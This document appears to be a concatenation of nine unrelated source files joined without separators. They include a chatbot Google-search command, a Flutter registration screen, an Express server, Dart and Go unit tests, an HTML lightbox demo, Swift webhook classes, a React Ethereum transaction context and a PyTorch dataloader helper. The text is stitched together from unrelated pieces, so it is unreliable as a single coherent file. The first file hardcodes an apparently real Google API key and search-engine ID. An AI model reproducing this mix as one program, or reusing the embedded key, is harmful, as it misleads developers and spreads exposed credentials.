const axios = require('axios'); module.exports = { config: { name: "google", aliases: ["gsearch", "g"], version: "2.0", author: "XyryllPanget", role: 0, shortDescription: { en: "Searches Google for a given query." }, longDescription: { en: "This command searches Google for a given query and returns the top 5 results." }, category: "utility", guide: { en: "To use this command, type !google <query>." } }, onStart: async function ({ api, event, args }) { const query = args.join(' '); if (!query) { api.sendMessage("Please provide a search query.", event.threadID); return; } const cx = "7514b16a62add47ae"; const apiKey = "AIzaSyAqBaaYWktE14aDwDE8prVIbCH88zni12E"; const url = `https://www.googleapis.com/customsearch/v1?key=${apiKey}&cx=${cx}&q=${query}`; try { const response = await axios.get(url); const searchResults = response.data.items.slice(0, 5); let message = `Top 5 results for '${query}':\n`; searchResults.forEach((result, index) => { message += `${index + 1}. ${result.title}\n${result.link}\n`; }); api.sendMessage(message, event.threadID); } catch (error) { console.error(error); api.sendMessage("An error occurred while searching Google.", event.threadID); } } };
import 'package:auto_size_text/auto_size_text.dart'; import 'package:email_validator/email_validator.dart'; import 'package:flutter/material.dart'; import 'package:flutter_svg/svg.dart'; import 'package:get/get.dart'; import 'package:google_fonts/google_fonts.dart'; import '../../../components/customButton.dart'; import '../../../components/customTextField.dart'; import '../../../routes/app_pages.dart'; import '../controllers/register_controller.dart'; class RegisterView extends GetView<RegisterController> { const RegisterView({Key? key}) : super(key: key); @override Widget build(BuildContext context) { double width = MediaQuery.of(context).size.width; double height = MediaQuery.of(context).size.height; const Color primary = Color(0xFF5566FF); const Color background = Color(0xFF000000); const Color colorText = Color(0xFF8B8B8B); return Scaffold( body: SingleChildScrollView( child: Container( width: width, height: height, decoration: const BoxDecoration( color: background, ), child: Padding( padding: EdgeInsets.symmetric(horizontal: width * 0.1), child: Form( key: controller.formKey, child: Column( mainAxisAlignment: MainAxisAlignment.center, crossAxisAlignment: CrossAxisAlignment.center, children: [ Expanded( child: Column( mainAxisAlignment: MainAxisAlignment.center, crossAxisAlignment: CrossAxisAlignment.center, children: [ Padding( padding: EdgeInsets.only(bottom: width * 0.15), child: SvgPicture.asset( 'lib/assets/logo/logo_text.svg', ), ), SizedBox( width: double.infinity, child: Column( mainAxisAlignment: MainAxisAlignment.start, crossAxisAlignment: CrossAxisAlignment.start, children: [ AutoSizeText( "Register", maxFontSize: 35.0, minFontSize: 20.0, style: GoogleFonts.inter( color: Colors.white, fontSize: 35.0, fontWeight: FontWeight.w700 ), ), const SizedBox( height: 5, ), AutoSizeText( "Silakan buat akun terlebih dahulu", maxFontSize: 16.0, minFontSize: 14.0, maxLines: 1, style: GoogleFonts.inter( color: colorText, fontSize: 16.0, fontWeight: FontWeight.w500 ), ) ], ), ), Padding( padding: EdgeInsets.only(top: width * 0.08), child: CustomTextField( controller: controller.usernameController, hinText: "Radhesta", labelText: "Username", obsureText: false, prefixIcon: const Icon(Icons.email_rounded), validator: (value) { if (value!.isEmpty) { return 'Pleasse input username'; } return null; }, ), ), Padding( padding: EdgeInsets.only(top: width * 0.05), child: CustomTextField( controller: controller.emailController, hinText: "radhesta@smk.belajar.id", labelText: "Email", obsureText: false, prefixIcon: const Icon(Icons.email_rounded), validator: (value) { if (value!.isEmpty) { return 'Pleasse input email address'; } else if (!EmailValidator.validate(value)) { return 'Email address tidak sesuai'; }else if (!value.endsWith('@smk.belajar.id')){ return 'Email harus @smk.belajar.id'; } return null; }, ), ), Padding( padding: EdgeInsets.only(top: width * 0.05), child: Obx(() => CustomTextField( controller: controller.passwordController, hinText: "Password", labelText: "Password", obsureText: controller.isPasswordHidden.value, prefixIcon: const Icon(Icons.lock), suffixIcon: InkWell( child: Icon( controller.isPasswordHidden.value ? Icons.visibility : Icons.visibility_off, size: 20, color: colorText, ), onTap: () { controller.isPasswordHidden.value = !controller.isPasswordHidden.value; }, ), validator: (value) { if (value!.isEmpty) { return 'Please input password'; } else if (value.length < 8){ return 'Panjang password harus lebih dari 8'; } // Validasi setidaknya satu huruf besar else if (!value.contains(RegExp(r'[A-Z]'))) { return 'Password harus mengandung satu huruf besar'; } // Validasi setidaknya satu karakter khusus else if (!value.contains(RegExp(r'[!@#$%^&*(),.?":{}|<>]'))) { return 'Password harus mengandung satu karakter khusus'; } // Validasi setidaknya satu angka else if (!value.contains(RegExp(r'[0-9]'))) { return 'Password harus mengandung minimal 1 angka'; } return null; }, ) ), ), Padding( padding: EdgeInsets.only(top: width * 0.12, bottom: width * 0.04), child: CustomButton( onPressed: ()=> controller.registerPost(), backgroundColor: primary, child: Obx(() => controller.loadinglogin.value? const CircularProgressIndicator( color: Colors.white, ): Text( "Register", style: GoogleFonts.inter( fontSize: 20, color: Colors.white, fontWeight: FontWeight.w600, ), ), ), ), ), textToRegister(), ], ), ), Padding( padding: EdgeInsets.only(bottom: width * 0.1), child: AutoSizeText.rich( TextSpan( text: "Powered by ", style: GoogleFonts.inter( fontWeight: FontWeight.w500, fontSize: 12, color: Colors.white, // Color for the fixed text ), children: [ TextSpan( text: "rdestaghifari", style: GoogleFonts.inter( fontWeight: FontWeight.w600, fontSize: 12, color: primary, // Color for the username ), ), ], ), ), ), ], ), ), ), ), ) ); } Widget textToRegister() { return SizedBox( width: double.infinity, child: Row( mainAxisAlignment: MainAxisAlignment.center, children: [ FittedBox( child: Text( 'You have an account?', style: GoogleFonts.inter( fontSize: 16, fontWeight: FontWeight.w500, color: const Color(0xFF8B8B8B)), ), ), TextButton( onPressed: () { Get.offAllNamed(Routes.LOGIN); }, style: TextButton.styleFrom( backgroundColor: Colors.transparent, ), child: FittedBox( child: Text('Login', style: GoogleFonts.inter( fontSize: 16, fontWeight: FontWeight.bold, color: const Color(0xFF5566FF), )), ), ) ], ), ); } }
import express, { Request, Response } from 'express' import connectDatabase from './utils/connectDatabase' import cors from 'cors' import morgan from 'morgan' import path from 'path' import { AuthRouter, UserRouter } from './routes' const bodyParser = require('body-parser') require('dotenv').config() const app = express() const PORT = parseInt(<string>process.env.PORT, 10) || 9888 connectDatabase() app.use(express.json()) app.use(bodyParser.urlencoded({ extended: true })) app.use(cors()) app.use(morgan('dev')) app.use(express.urlencoded({ extended: true })) app.use(express.static(path.join(__dirname, 'public'))) app.listen(PORT, () => { console.log(`⚡️[server]: Server is running at http://localhost:${PORT}`) }) app.use(express.urlencoded({ extended: true })) app.use(express.json()) //Config chat settings const generateID = () => Math.random().toString(36).substring(2, 10) let chatRooms: any = [] // routes api app.use('/api/user', UserRouter) app.use('/api', AuthRouter) app.get('/api/chats', (req, res) => { res.json(chatRooms) }) // const express = require("express"); // const app = express(); // const http = require("http").Server(app); // const cors = require("cors"); // const PORT = 4000; // const socketIO = require("socket.io")(http, { // cors: { // origin: "http://localhost:3000", // }, // }); // app.use(express.urlencoded({ extended: true })); // app.use(express.json()); // app.use(cors()); // const generateID = () => Math.random().toString(36).substring(2, 10); // let chatRooms :any = []; // socketIO.on("connection", (socket) => { // console.log(`⚡: ${socket.id} user just connected!`); // socket.on("createRoom", (name) => { // socket.join(name); // chatRooms.unshift({ id: generateID(), name, messages: [] }); // socket.emit("roomsList", chatRooms); // }); // socket.on("findRoom", (id) => { // let result = chatRooms.filter((room) => room.id == id); // // console.log(chatRooms); // socket.emit("foundRoom", result[0].messages); // // console.log("Messages Form", result[0].messages); // }); // socket.on("newMessage", (data) => { // const { room_id, message, user, timestamp } = data; // let result = chatRooms.filter((room) => room.id == room_id); // const newMessage = { // id: generateID(), // text: message, // user, // time: `${timestamp.hour}:${timestamp.mins}`, // }; // console.log("New Message", newMessage); // socket.to(result[0].name).emit("roomMessage", newMessage); // result[0].messages.push(newMessage); // socket.emit("roomsList", chatRooms); // socket.emit("foundRoom", result[0].messages); // }); // socket.on("disconnect", () => { // socket.disconnect(); // console.log("🔥: A user disconnected"); // }); // }); // app.get("/api", (req, res) => { // res.json(chatRooms); // }); // http.listen(PORT, () => { // console.log(`Server listening on ${PORT}`); // });
import 'package:ioasys_app/constants/constants_url_api.dart'; import 'package:ioasys_app/domain/model/enterprise/enterprise_model.dart'; import 'package:ioasys_app/domain/model/enterprise/enterprise_type_model.dart'; import 'package:ioasys_app/domain/use_case/get_enterprise_use_case.dart'; import 'package:ioasys_app/presentation/enterprise/enterprise_details/result_bloc.dart'; import 'package:ioasys_app/presentation/enterprise/enterprise_details/result_view_state.dart'; import 'package:mockito/annotations.dart'; import 'package:mockito/mockito.dart'; import 'package:test/test.dart'; import 'result_bloc_test.mocks.dart'; @GenerateMocks([GetEnterpriseUseCase]) void main() { late MockGetEnterpriseUseCase mockGetEnterpriseUseCase; late ResultBloc resultBloc; setUpAll(() { mockGetEnterpriseUseCase = MockGetEnterpriseUseCase(); resultBloc = ResultBloc(mockGetEnterpriseUseCase); }); setUp(() { reset(mockGetEnterpriseUseCase); }); group('GIVEN a call on getEnterprise', () { test('WHEN request is successfully THEN it should emits a SuccessState', () async { when(mockGetEnterpriseUseCase.getFuture(params: anyNamed('params'))) .thenAnswer((_) async => _getSuccessfulEnterpriseModelMock()); resultBloc .getEnterprise(4, 'accessToken', 'uid', 'client') .listen((viewState) { expect( resultBloc.resultViewState, emitsInOrder([ isA<LoadingState>(), isA<LoadingState>(), isA<SuccessState>(), ])); }); }); }); } EnterpriseModel _getSuccessfulEnterpriseModelMock() => const EnterpriseModel( 'VendorLink', '${ConstantsUrlApi.imageBaseUrl}/uploads/enterprise/photo/4/240.jpeg', 'description', 'UK', EnterpriseTypeModel('IT'), 4, );
<!DOCTYPE html> <html lang="en"> <head><!-- pop up box using :target - MDN --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="zIK-TEMP/2-css-temp/normalize.css" rel="stylesheet" type="text/css"> <link href="zIK-TEMP/2-css-temp/pik-css-temp.css" rel="stylesheet" type="text/css"> <script src="zIK-TEMP/3-JS-temp/js-temp.js"></script> <title>15 pop up box using :target - MDN</title> <style> /* Unopened lightbox container, when the pop up div box not on display */ .lightbox { display: none; } /* Opened lightbox container , when the pop up div box appear and its position on display , it takes the whole page */ .lightbox:target { position: absolute; left: 0; top: 0; width: 100%; height: 100%; display: flex; align-items: center; justify-content: center; } /* Lightbox content , pink box figcaption */ .lightbox figcaption { width: 25rem; position: relative; padding: 1.5em; background-color: lightpink; } /* Close button . the anchor with empty href */ .lightbox .close { position: relative; display: block; } /* includes the X circle after the anchor */ .lightbox .close::after { right: -1rem; top: -1rem; width: 2rem; height: 2rem; position: absolute; display: flex; z-index: 1; align-items: center; justify-content: center; background-color: black; border-radius: 50%; color: white; content: "×"; cursor: pointer; } /* Lightbox overlay , the dark transparent background for pop up before anchor as it is the first child. which also works as closing display since it is attach to the anchor */ .lightbox .close::before { left: 0; top: 0; width: 100%; height: 100%; position: fixed; background-color: rgba(0,0,0,.7); content: ""; cursor: default; } </style> </head> <body> <main> <ul> <li><a href="#example1">Open example #1</a></li> <li><a href="#example2">Open example #2</a></li> </ul> <div class="lightbox" id="example1"> <figure> <a href="#" class="close"></a> <!-- this is the anchor for closing which the X cross can be made using the :after. also the :before creates the dark transparent behind --> <figcaption>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec felis enim, placerat id eleifend eu, semper vel sem.</figcaption> </figure> </div> <div class="lightbox" id="example2"> <figure> <a href="#" class="close"></a> <!-- this is the anchor for closing which the X cross can be made using the :after. also the :before creates the dark transparent behind --> <figcaption>Cras risus odio, pharetra nec ultricies et, mollis ac augue. Nunc et diam quis sapien dignissim auctor. Quisque quis neque arcu, nec gravida magna.</figcaption> </figure> </div> </main> </body> </html>
import Foundation public class WebhookRequest { /// Creates a new webhook or updates an existing webhook /// /// BEHAVIOR: CREATE OR UPDATE /// If the label is already in use by a webhook in the system, this will re-create the webhook, replacing what is in the database with the new settings you passed in. /// /// WEBHOOK TYPES /// There are two types of webhook: prepublish and postpublish. /// /// PRE-PUBLISH WEBHOOK /// Pass "prepublish" for the type parameter to create this type of webhook. This webhook will fire before the event is fired. If the remote system responds with 200 then the message will continue through the pipeline to be published. If you have more than one prepublish webhook, if any respond with other than 200 the message will be blocked. An example of when you would use a pre-publish webhook is when you want to perform pre-moderation with an external system. /// /// POST-PUBLISH WEBHOOK /// Pass "postpublish" for the type parameter to create this type of webhook. This webhook will fire after an event is published. The reponse from the remote service is ignored. An example of a post publish webhook would be using post moderation with an external system. /// /// EVENT TYPES /// The following event types are supported. /// * chatcustom /// * chatspeech /// * chatquote /// * chatreply /// * chatreaction /// * chataction /// * chatenter /// * chatexit /// * chatroomopened /// * chatroomclosed /// * chatpurge /// * commentpublished /// * commentreply /// /// Arguments: /// label : (required) A unique string for your webhook. It can be anything you want. /// url: (required) A URL to post to when the webhook is activated. /// enabled: (required) Sets the webhook to be in either the enabled or disabled states. /// type: (required) ["prepublish"/"postpublish"] Sets the type of webhook. See TYPES below. /// events: (required) An array of strings indicating which event types activate your webhook. See events below for allowed values. /// - Warning: Requires Authentication. public class CreateReplaceWebhook: ParametersBase<CreateReplaceWebhook.Fields, CreateReplaceWebhook> { public enum Fields { case label case url case enabled case type case events } public var label: String? public var url: URL? public var enabled: Bool? public var type: String? public var events: [String]? override public func from(dictionary: [AnyHashable: Any]) -> CreateReplaceWebhook { set(dictionary: dictionary) let ret = CreateReplaceWebhook() ret.label = value(forKey: .label) ret.url = value(forKey: .url) ret.enabled = value(forKey: .enabled) ret.type = value(forKey: .type) ret.events = value(forKey: .events) return ret } public func toDictionary() -> [AnyHashable: Any] { toDictionary = [AnyHashable: Any]() addRequired(key: .label, value: label) addRequired(key: .url, value: url?.absoluteString) addRequired(key: .enabled, value: enabled) addRequired(key: .type, value: type) addRequired(key: .events, value: events) return toDictionary } } /// Gets a list of webhooks /// - Warning: This method requires authentication public class ListWebhooks { public init() {} public func from(dictionary: [AnyHashable: Any]) -> ListWebhooks { let ret = ListWebhooks() return ret } public func toDictionary() -> [AnyHashable: Any] { return [AnyHashable: Any]() } } /// Updates an exisiting webhook by replacing its properties with the new values /// /// BEHAVIOR: CREATE OR UPDATE /// If the label is already in use by a webhook in the system, this will re-create the webhook, replacing what is in the database with the new settings you passed in. /// /// WEBHOOK TYPES /// There are two types of webhook: prepublish and postpublish. /// /// PRE-PUBLISH WEBHOOK /// Pass "prepublish" for the type parameter to create this type of webhook. This webhook will fire before the event is fired. If the remote system responds with 200 then the message will continue through the pipeline to be published. If you have more than one prepublish webhook, if any respond with other than 200 the message will be blocked. An example of when you would use a pre-publish webhook is when you want to perform pre-moderation with an external system. /// /// POST-PUBLISH WEBHOOK /// Pass "postpublish" for the type parameter to create this type of webhook. This webhook will fire after an event is published. The reponse from the remote service is ignored. An example of a post publish webhook would be using post moderation with an external system. /// /// EVENT TYPES /// The following event types are supported. /// * chatcustom /// * chatspeech /// * chatquote /// * chatreply /// * chatreaction /// * chataction /// * chatenter /// * chatexit /// * chatroomopened /// * chatroomclosed /// * chatpurge /// * commentpublished /// * commentreply /// /// Arguments: /// label : (required) A unique string for your webhook. It can be anything you want. /// url: (required) A URL to post to when the webhook is activated. /// enabled: (required) Sets the webhook to be in either the enabled or disabled states. /// type: (required) ["prepublish"/"postpublish"] Sets the type of webhook. See TYPES below. /// events: (required) An array of strings indicating which event types activate your webhook. See events below for allowed values. /// - Warning: Requires Authentication. public class UpdateWebhook: ParametersBase<UpdateWebhook.Fields, UpdateWebhook> { public enum Fields { case id case label case url case enabled case type case events } public var webhookId:String? public var label: String? public var url: URL? public var enabled: Bool? public var type: String? public var events: [String]? override public func from(dictionary: [AnyHashable: Any]) -> UpdateWebhook { set(dictionary: dictionary) let ret = UpdateWebhook() ret.webhookId = value(forKey: .id) ret.label = value(forKey: .label) ret.url = value(forKey: .url) ret.enabled = value(forKey: .enabled) ret.type = value(forKey: .type) ret.events = value(forKey: .events) return ret } public func toDictionary() -> [AnyHashable: Any] { toDictionary = [AnyHashable: Any]() add(key: .id, value: webhookId) add(key: .label, value: label) add(key: .url, value: url?.absoluteString) add(key: .enabled, value: enabled) add(key: .type, value: type) add(key: .events, value: events) addRequired(key: .id, value: webhookId) addRequired(key: .label, value: label) addRequired(key: .url, value: url?.absoluteString) addRequired(key: .enabled, value: enabled) addRequired(key: .type, value: type) addRequired(key: .events, value: events) return toDictionary } } /// Deletes the specified webhook by ID /// - Warning: This method requires authentication public class DeleteWebhook: ParametersBase<UpdateWebhook.Fields, DeleteWebhook> { public enum Fields { case id } public var webhookId:String? override public func from(dictionary: [AnyHashable: Any]) -> DeleteWebhook { let ret = DeleteWebhook() ret.webhookId = value(forKey: .id) return ret } public func toDictionary() -> [AnyHashable: Any] { toDictionary = [AnyHashable: Any]() addRequired(key: .id, value: webhookId) return toDictionary } } }
// Copyright 2017 Canonical Ltd. // Licensed under the AGPLv3, see LICENCE file for details. package azurecli_test import ( "os/exec" "strings" "github.com/juju/errors" jc "github.com/juju/testing/checkers" gc "gopkg.in/check.v1" "github.com/juju/juju/provider/azure/internal/azurecli" ) type azSuite struct{} var _ = gc.Suite(&azSuite{}) func (s *azSuite) TestShowAccount(c *gc.C) { azcli := azurecli.AzureCLI{ Exec: testExecutor{ commands: map[string]result{ "az account show -o json": { stdout: []byte(` { "environmentName": "AzureCloud", "id": "5544b9a5-0000-0000-0000-fedceb5d3696", "isDefault": true, "name": "AccountName", "state": "Enabled", "tenantId": "a52afd7f-0000-0000-0000-e47a54b982da", "user": { "name": "user@example.com", "type": "user" } } `[1:]), }, }, }.Exec, } acc, err := azcli.ShowAccount("") c.Assert(err, jc.ErrorIsNil) c.Assert(acc, jc.DeepEquals, &azurecli.Account{ CloudName: "AzureCloud", ID: "5544b9a5-0000-0000-0000-fedceb5d3696", IsDefault: true, Name: "AccountName", State: "Enabled", TenantId: "a52afd7f-0000-0000-0000-e47a54b982da", }) } func (s *azSuite) TestShowAccountWithSubscription(c *gc.C) { azcli := azurecli.AzureCLI{ Exec: testExecutor{ commands: map[string]result{ "az account show --subscription 5544b9a5-0000-0000-0000-fedceb5d3696 -o json": { stdout: []byte(` { "environmentName": "AzureCloud", "id": "5544b9a5-0000-0000-0000-fedceb5d3696", "isDefault": true, "name": "AccountName", "state": "Enabled", "tenantId": "a52afd7f-0000-0000-0000-e47a54b982da", "user": { "name": "user@example.com", "type": "user" } } `[1:]), }, }, }.Exec, } acc, err := azcli.ShowAccount("5544b9a5-0000-0000-0000-fedceb5d3696") c.Assert(err, jc.ErrorIsNil) c.Assert(acc, jc.DeepEquals, &azurecli.Account{ CloudName: "AzureCloud", ID: "5544b9a5-0000-0000-0000-fedceb5d3696", IsDefault: true, Name: "AccountName", State: "Enabled", TenantId: "a52afd7f-0000-0000-0000-e47a54b982da", }) } func (s *azSuite) TestShowAccountError(c *gc.C) { azcli := azurecli.AzureCLI{ Exec: testExecutor{ commands: map[string]result{ "az account show -o json": { error: &exec.ExitError{Stderr: []byte("test error\nusage ...")}, }, }, }.Exec, } acc, err := azcli.ShowAccount("") c.Assert(err, gc.ErrorMatches, `execution failure: test error`) c.Assert(acc, gc.IsNil) } func (s *azSuite) TestListAccounts(c *gc.C) { azcli := azurecli.AzureCLI{ Exec: testExecutor{ commands: map[string]result{ "az account list -o json": { stdout: []byte(` [ { "cloudName": "AzureCloud", "id": "d7ad3057-0000-0000-0000-513d7136eec5", "isDefault": false, "name": "Free Trial", "state": "Enabled", "tenantId": "b7bb0664-0000-0000-0000-4d5f1481ef22", "user": { "name": "user@example.com", "type": "user" } }, { "cloudName": "AzureCloud", "id": "5af17b7d-0000-0000-0000-5cd99887fdf7", "isDefault": true, "name": "Pay-As-You-Go", "state": "Enabled", "tenantId": "2da419a9-0000-0000-0000-ac7c24bbe2e7", "user": { "name": "user@example.com", "type": "user" } } ] `[1:]), }, }, }.Exec, } accs, err := azcli.ListAccounts() c.Assert(err, jc.ErrorIsNil) c.Assert(accs, jc.DeepEquals, []azurecli.Account{{ CloudName: "AzureCloud", ID: "d7ad3057-0000-0000-0000-513d7136eec5", IsDefault: false, Name: "Free Trial", State: "Enabled", TenantId: "b7bb0664-0000-0000-0000-4d5f1481ef22", }, { CloudName: "AzureCloud", ID: "5af17b7d-0000-0000-0000-5cd99887fdf7", IsDefault: true, Name: "Pay-As-You-Go", State: "Enabled", TenantId: "2da419a9-0000-0000-0000-ac7c24bbe2e7", }}) } func (s *azSuite) TestListAccountsError(c *gc.C) { azcli := azurecli.AzureCLI{ Exec: testExecutor{ commands: map[string]result{ "az account list -o json": { error: errors.New("test error"), }, }, }.Exec, } accs, err := azcli.ListAccounts() c.Assert(err, gc.ErrorMatches, `execution failure: test error`) c.Assert(accs, gc.IsNil) } func (s *azSuite) TestFindAccountsWithCloudName(c *gc.C) { azcli := azurecli.AzureCLI{ Exec: testExecutor{ commands: map[string]result{ "az account list --query [?cloudName=='AzureCloud'] -o json": { stdout: []byte(` [ { "cloudName": "AzureCloud", "id": "d7ad3057-0000-0000-0000-513d7136eec5", "isDefault": false, "name": "Free Trial", "state": "Enabled", "tenantId": "b7bb0664-0000-0000-0000-4d5f1481ef22", "homeTenantId": "b7bb0664-0000-0000-0000-4d5f1481ef66", "user": { "name": "user@example.com", "type": "user" } }, { "cloudName": "AzureCloud", "id": "5af17b7d-0000-0000-0000-5cd99887fdf7", "isDefault": true, "name": "Pay-As-You-Go", "state": "Enabled", "tenantId": "2da419a9-0000-0000-0000-ac7c24bbe2e7", "user": { "name": "user@example.com", "type": "user" } } ] `[1:]), }, }, }.Exec, } accs, err := azcli.FindAccountsWithCloudName("AzureCloud") c.Assert(err, jc.ErrorIsNil) c.Assert(accs, jc.DeepEquals, []azurecli.Account{{ CloudName: "AzureCloud", ID: "d7ad3057-0000-0000-0000-513d7136eec5", IsDefault: false, Name: "Free Trial", State: "Enabled", TenantId: "b7bb0664-0000-0000-0000-4d5f1481ef22", HomeTenantId: "b7bb0664-0000-0000-0000-4d5f1481ef66", }, { CloudName: "AzureCloud", ID: "5af17b7d-0000-0000-0000-5cd99887fdf7", IsDefault: true, Name: "Pay-As-You-Go", State: "Enabled", TenantId: "2da419a9-0000-0000-0000-ac7c24bbe2e7", }}) c.Assert(accs[0].AuthTenantId(), gc.Equals, accs[0].HomeTenantId) c.Assert(accs[1].AuthTenantId(), gc.Equals, accs[1].TenantId) } func (s *azSuite) TestFindAccountsWithCloudNameError(c *gc.C) { azcli := azurecli.AzureCLI{ Exec: testExecutor{ commands: map[string]result{ "az account list --query [?cloudName=='AzureCloud'] -o json": { error: errors.New("test error"), }, }, }.Exec, } accs, err := azcli.FindAccountsWithCloudName("AzureCloud") c.Assert(err, gc.ErrorMatches, `execution failure: test error`) c.Assert(accs, gc.IsNil) } func (s *azSuite) TestShowCloud(c *gc.C) { azcli := azurecli.AzureCLI{ Exec: testExecutor{ commands: map[string]result{ "az cloud show -o json": { stdout: []byte(` { "isActive": true, "name": "AzureCloud", "profile": "latest" } `[1:]), }, }, }.Exec, } cloud, err := azcli.ShowCloud("") c.Assert(err, jc.ErrorIsNil) c.Assert(cloud, jc.DeepEquals, &azurecli.Cloud{ IsActive: true, Name: "AzureCloud", Profile: "latest", }) } func (s *azSuite) TestShowCloudWithName(c *gc.C) { azcli := azurecli.AzureCLI{ Exec: testExecutor{ commands: map[string]result{ "az cloud show --name AzureUSGovernment -o json": { stdout: []byte(` { "isActive": false, "name": "AzureUSGovernment", "profile": "latest" } `[1:]), }, }, }.Exec, } cloud, err := azcli.ShowCloud("AzureUSGovernment") c.Assert(err, jc.ErrorIsNil) c.Assert(cloud, jc.DeepEquals, &azurecli.Cloud{ IsActive: false, Name: "AzureUSGovernment", Profile: "latest", }) } func (s *azSuite) TestShowCloudError(c *gc.C) { azcli := azurecli.AzureCLI{ Exec: testExecutor{ commands: map[string]result{ "az cloud show -o json": { error: errors.New("test error"), }, }, }.Exec, } cloud, err := azcli.ShowCloud("") c.Assert(err, gc.ErrorMatches, `execution failure: test error`) c.Assert(cloud, gc.IsNil) } func (s *azSuite) TestListClouds(c *gc.C) { azcli := azurecli.AzureCLI{ Exec: testExecutor{ commands: map[string]result{ "az cloud list -o json": { stdout: []byte(` [ { "isActive": true, "name": "AzureCloud", "profile": "latest" }, { "isActive": false, "name": "AzureChinaCloud", "profile": "latest" }, { "isActive": false, "name": "AzureUSGovernment", "profile": "latest" }, { "isActive": false, "name": "AzureGermanCloud", "profile": "latest" } ] `[1:]), }, }, }.Exec, } clouds, err := azcli.ListClouds() c.Assert(err, jc.ErrorIsNil) c.Assert(clouds, jc.DeepEquals, []azurecli.Cloud{{ IsActive: true, Name: "AzureCloud", Profile: "latest", }, { IsActive: false, Name: "AzureChinaCloud", Profile: "latest", }, { IsActive: false, Name: "AzureUSGovernment", Profile: "latest", }, { IsActive: false, Name: "AzureGermanCloud", Profile: "latest", }}) } func (s *azSuite) TestListCloudsError(c *gc.C) { azcli := azurecli.AzureCLI{ Exec: testExecutor{ commands: map[string]result{ "az cloud list -o json": { error: errors.New("test error"), }, }, }.Exec, } cloud, err := azcli.ListClouds() c.Assert(err, gc.ErrorMatches, `execution failure: test error`) c.Assert(cloud, gc.IsNil) } type result struct { stdout []byte error error } type testExecutor struct { commands map[string]result } func (e testExecutor) Exec(cmd string, args []string) ([]byte, error) { c := strings.Join(append([]string{cmd}, args...), " ") r, ok := e.commands[c] if !ok { return nil, errors.Errorf("unexpected command '%s'", c) } return r.stdout, r.error }
import React, {useEffect, useState} from "react"; import {ethers} from 'ethers'; import { contractABI,contractAddress } from "../utils/constants"; export const TransactionContext = React.createContext(); const { ethereum } = window; const getEthereumContract = () => { const provider = new ethers.providers.Web3Provider(ethereum); const signer = provider.getSigner(); const transactionsContract = new ethers.Contract(contractAddress, contractABI, signer); return transactionsContract; }; export const TransactionProvider = ({children}) => { const [formData, setformData] = useState({ addressTo: "", amount: "", keyword: "", message: "" }); const [currentAccount, setCurrentAccount] = useState(""); const [isLoading, setIsLoading] = useState(false) const [transactionCount, setTransactionCount] = useState(localStorage.getItem('transactionCount')); const [transactions, setTransactions] = useState([]); const handleChange = (e, name) => { setformData((prevState) => ({ ...prevState, [name]: e.target.value })); }; const getAllTransactions= async()=>{ try { if (!ethereum) return alert('Please install Metamask'); const transactionContract = getEthereumContract(); const availableTransactions = await transactionContract.getAllTransactions(); const structuredTransactions = availableTransactions.map((transaction)=>({ addressTo: transaction.reciever, addressFrom: transaction.sender, timestamp: new Date(transaction.timestamp.toNumber() *1000).toLocaleString(), message: transaction.message, keyword: transaction.keyword, amount: parseInt(transaction.amount._hex) / (10 ** 18) })) console.log(structuredTransactions); setTransactions(structuredTransactions); } catch (error) { console.log(error); } } const checkIfWalletIsConnected = async() => { try { if (!ethereum) return alert('Please install Metamask'); const accounts = await ethereum.request({method:'eth_accounts'}); if (accounts.length){ setCurrentAccount(accounts[0]); getAllTransactions(); } else{ console.log("No accounts found") } } catch (error) { console.log(error); throw new error("No Ethereum Object"); } }; const checkIfTransactionExist = async() => { try{ const transactionContract = getEthereumContract(); let transactionCount = await transactionContract.getTransactionCount(); window.localStorage.setItem('transactionCount',transactionCount) }catch(error){ throw new error("No Ethereum Object"); } }; const connectWallet = async() => { try{ if (!ethereum) return alert('Please install Metamask'); const accounts = await ethereum.request({method:'eth_requestAccounts'}); setCurrentAccount(accounts[0]); }catch(error){ console.log(error); throw new error("No Ethereum Object"); } }; const sendTransaction = async()=>{ try { if (!ethereum) return alert('Please install Metamask'); const { addressTo, amount, keyword, message } = formData; const transactionContract = getEthereumContract(); const parsedAmount = ethers.utils.parseEther(amount); await ethereum.request({ method: 'eth_sendTransaction', params: [ { from: currentAccount, to: addressTo, gas: "0x5208", value: parsedAmount._hex, }, ], }); let transactionHash = await transactionContract.addToBlockchain(addressTo,parsedAmount,message,keyword); setIsLoading(true); console.log(`Loading -${transactionHash.hash}`) await transactionHash.wait(); setIsLoading(false); console.log(`Success -${transactionHash.hash}`) let transactionCount = await transactionContract.getTransactionCount(); setTransactionCount(transactionCount.toNumber()); window.reload() } catch (error) { console.log(error); // throw new Error("No Ethereum Object"); } } useEffect(()=>{ checkIfWalletIsConnected(); checkIfTransactionExist(); },[]); return( <TransactionContext.Provider value = {{connectWallet, currentAccount, formData, handleChange, sendTransaction,transactions,isLoading}}> {children} </TransactionContext.Provider> ) };
from torch.utils.data import DataLoader from gyraudio.audio_separation.data.mixed import MixedAudioDataset from typing import Optional, List from gyraudio.audio_separation.properties import ( DATA_PATH, AUGMENTATION, SNR_FILTER, SHUFFLE, BATCH_SIZE, TRAIN, VALID, TEST, AUG_TRIM ) from gyraudio import root_dir RAW_AUDIO_ROOT = root_dir/"__data_source_separation"/"voice_origin" MIXED_AUDIO_ROOT = root_dir/"__data_source_separation"/"source_separation" def get_dataloader(configurations: dict, audio_dataset=MixedAudioDataset): dataloaders = {} for mode, configuration in configurations.items(): dataset = audio_dataset( configuration[DATA_PATH], augmentation_config=configuration[AUGMENTATION], snr_filter=configuration[SNR_FILTER] ) dl = DataLoader( dataset, shuffle=configuration[SHUFFLE], batch_size=configuration[BATCH_SIZE], collate_fn=dataset.collate_fn ) dataloaders[mode] = dl return dataloaders def get_config_dataloader( audio_root=MIXED_AUDIO_ROOT, mode: str = TRAIN, shuffle: Optional[bool] = None, batch_size: Optional[int] = 16, snr_filter: Optional[List[float]] = None, augmentation: dict = {}): audio_folder = audio_root/mode assert mode in [TRAIN, VALID, TEST] assert audio_folder.exists() config = { DATA_PATH: audio_folder, SHUFFLE: shuffle if shuffle is not None else (True if mode == TRAIN else False), AUGMENTATION: augmentation, SNR_FILTER: snr_filter, BATCH_SIZE: batch_size } return config
